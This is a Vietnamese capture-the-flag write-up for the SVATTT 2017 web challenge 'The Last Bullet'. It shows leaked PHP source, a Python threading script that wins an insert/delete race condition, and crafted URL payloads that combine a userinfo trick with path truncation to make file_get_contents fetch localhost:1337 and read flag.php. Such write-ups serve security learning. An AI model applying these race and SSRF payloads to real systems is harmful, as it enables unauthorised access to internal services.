[SVATTT 2017] Writeup Web daemon: The Last Bullet

2017-11-21

Challenge:

http://119.81.181.252/8d0943ff26c8d0cfe74924b9f8b87298/

Một chút thính lúc vào game: robots.txt

User-agent: *  
Disallow: /backkup-1337/  

Gắp được ra 3 cái params insert, access_keypath

  • Nếu không set param insert => Select và hiện kết quả theo access_key
    ...
    $access_key=mysql_real_escape_string($_GET['access_key']);
    
    $sql = "SELECT url from local_bookmark where access_key='".$access_key."' order by id desc limit 1";
    ...
  • Nếu set param insert => Insert vào db dữ liệu lấy từ access_keypath, ngay sau đó thì … delete ?? 😀 ??
$url = "http://tradahacking.vn".$path."/phiasaumotcogai.html"; 

$url = mysql_real_escape_string($url);

if(preg_match('/(#|\?|&)/i', $url))  
    {
        exit('Bad words!');
    }
$sql = "INSERT INTO local_bookmark (url, access_key) VALUES ('" .$url. "', '".$access_key."');";
...
include_once("delete.php");  

Okay, select thì méo có gì để select rồi, insert thì bị delete ngay :v

Nhưng …
Ngay từ đầu khi đọc source, mình nhận thấy khá bất thường khi tác giả luôn đặt hàm connect, close db ở từng file, cộng thêm việc vừa insert vừa delete nhìn vội vler 😂 .

Ya, nó có mùi Race condition.

Code khai thác:

    import thread  
    import time  
    import requests  
    import random
    
    def exploit(access_key):  
        resp = requests.get("http://119.81.181.252/8d0943ff26c8d0cfe74924b9f8b87298/index.php?path=xxx&insert=1&access_key=xxxxx"
                        +str(access_key))
    
    try:  
        ak = random.randint(1000000,9999999)
        thread.start_new_thread( exploit, (ak,) )
        thread.start_new_thread( exploit, (ak,) )
        resp = requests.get("http://119.81.181.252/8d0943ff26c8d0cfe74924b9f8b87298/index.php?access_key=xxxxx"+str(ak))
        print "http://119.81.181.252/8d0943ff26c8d0cfe74924b9f8b87298/index.php?access_key=xxxxx"+str(ak)
        print resp.text
    except:  
        print "Error: unable to start thread"

Insert được rồi, giờ sao?

Để ý một chút:

    $url = "http://tradahacking.vn".$path."/phiasaumotcogai.html"; 

Đây là cái sẽ được cho vào DB, và rồi “bị” select ra, đẩy qua hàm file_get_contents

    $sql = "SELECT url from local_bookmark where access_key='".$access_key."' order by id desc limit 1";
    $result = $conn->query($sql);
    
    if ($result->num_rows > 0) {  
        // output data of each row
        while($row = $result->fetch_assoc()) {
            $bookmark = $row["url"];
            //echo "Your Temporary bookmark is: " . $bookmark."<br>";//For harder version, my Ninjas ;)
        echo "Ok, Ok !!! You win ;)";
        }
    }
    echo file_get_contents($bookmark);  

Tới lúc dùng tới hint của @g4mm4:

Local System:1337

Mình có thể biến cái $url trên kia thành dạng như này:

http://tradahacking.vn:xyz@localhost:1337/phiasaumotcogai.html  

Thay vì tradahacking.vn là domain thì nó sẽ bị chuyển thành username 😌

Nhưng giờ lại kẹt tiếp phát nữa, cái cần bây là directory listing của http://localhost:1337 chứ không phải http://localhost:1337/phiasaumotcogai.html

May thay trong lúc chưa ra cái hint local system:1337 (mà thực ra cái hint này nó có sẵn từ đầu trên title Web rồi
mà mình k để ý 😩), mình đã đẩy request trên kia về server riêng và fuzz linh tinh :v

    119.81.181.252 - - [xx/Nov/2017 xx:xx:28] "GET /./././../../././././././././././././././/../././/phiasa HTTP/1.0" 404 -  

À há, path truncation. Do giới hạn số ký tự của field url trong db.

Nhiệm vụ bây giờ chỉ là đẩy request về server riêng, truncate cho vừa đủ hết cái file html kia, xong thay lại localhost:1337 vào (cho đỡ nhầm lẫn 😥)

    index.php?path=:xyz@localhost:1337/.//./././../../././././././././././././././/.././././././&insert=1&access_key=xxxxx  

Get flag.php

    index.php?path=:wtf@localhost:1337/./././././././././././././././././././././././././flag.php&insert=1&access_key=xxxxx